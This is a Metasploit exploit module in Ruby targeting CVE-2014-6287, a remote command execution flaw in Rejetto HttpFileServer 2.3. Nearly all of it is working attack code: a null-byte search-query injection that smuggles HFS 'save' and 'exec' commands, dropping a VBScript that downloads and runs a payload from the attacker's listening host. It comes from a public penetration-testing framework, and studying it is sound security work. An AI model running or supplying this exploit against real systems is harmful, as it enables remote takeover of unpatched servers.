1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112 113 114 115 116 117 118 119 120 121 122 |
## # This module requires Metasploit: http//metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## require 'msf/core' class Metasploit3 < Msf::Exploit::Remote Rank = ExcellentRanking include Msf::Exploit::Remote::HttpClient include Msf::Exploit::Remote::HttpServer include Msf::Exploit::EXE include Msf::Exploit::FileDropper def initialize(info={}) super(update_info(info, 'Name' => "Rejetto HttpFileServer Remote Command Execution", 'Description'=> %q{ Rejetto HttpFileServer (HFS) is vulnerable to remote command execution attack due to a poor regex in the file ParserLib.pas. This module exploit the HFS scripting commands by using '%00' to bypass the filtering. This module has been tested successfully on HFS 2.3b over Windows XP SP3, Windows 7 SP1 and Windows 8. }, 'License'=> MSF_LICENSE, 'Author' => [ 'Daniele Linguaglossa <danielelinguaglossa[at]gmail.com>', # orginal discovery 'Muhamad Fadzil Ramli <mind1355[at]gmail.com>' # metasploit module ], 'References' => [ ['CVE', '2014-6287'], ['OSVDB', '111386'], ['URL', 'http://seclists.org/bugtraq/2014/Sep/85'], ['URL', 'http://www.rejetto.com/wiki/index.php?title=HFS:_scripting_commands'] ], 'Payload'=> { 'BadChars' => "\x0d\x0a\x00" }, 'Platform' => 'win', 'Targets'=> [ [ 'Automatic', {} ], ], 'Privileged' => false, 'Stance' => Msf::Exploit::Stance::Aggressive, 'DisclosureDate' => "Sep 11 2014", 'DefaultTarget'=> 0)) register_options( [ OptString.new('TARGETURI', [true, 'The path of the web application', '/']), OptInt.new('HTTPDELAY',[false, 'Seconds to wait before terminating web server', 10]), ], self.class) end def check res = send_request_raw({ 'method' => 'GET', 'uri'=> '/' }) if res &&res.headers['Server'] && res.headers['Server'] =~ /HFS ([\d.]+)/ version = $1 if Gem::Version.new(version) <= Gem::Version.new("2.3") return Exploit::CheckCode::Detected else return Exploit::CheckCode::Safe end else return Exploit::CheckCode::Safe end end def on_request_uri(cli, req) print_status("#{peer} - Payload request received: #{req.uri}") exe = generate_payload_exe vbs = Msf::Util::EXE.to_exe_vbs(exe) send_response(cli, vbs, {'Content-Type' => 'application/octet-stream'}) # remove resource after serving 1st request as 'exec' execute 4x # during exploitation remove_resource(get_resource) end def primer file_name = rand_text_alpha(rand(10)+5) file_ext = '.vbs' file_full_name = file_name + file_ext vbs_path = "%TEMP%\\#{file_full_name}" vbs_code = "Set x=CreateObject(\"Microsoft.XMLHTTP\")\x0d\x0a" vbs_code << "On Error Resume Next\x0d\x0a" vbs_code << "x.Open \"GET\",\"http://#{datastore['LHOST']}:#{datastore['SRVPORT']}#{get_resource}\",False\x0d\x0a" vbs_code << "If Err.Number <> 0 Then\x0d\x0a" vbs_code << "wsh.exit\x0d\x0a" vbs_code << "End If\x0d\x0a" vbs_code << "x.Send\x0d\x0a" vbs_code << "Execute x.responseText" payloads = [ "save|#{vbs_path}|#{vbs_code}", "exec|wscript.exe //B //NOLOGO #{vbs_path}" ] print_status("Sending a malicious request to #{target_uri.path}") payloads.each do |payload| send_request_raw({ 'method' => 'GET', 'uri'=> "/?search=%00{.#{URI::encode(payload)}.}" }) end register_file_for_cleanup(vbs_path) end def exploit begin Timeout.timeout(datastore['HTTPDELAY']) { super } rescue Timeout::Error # When the server stops due to our timeout, this is raised end end end |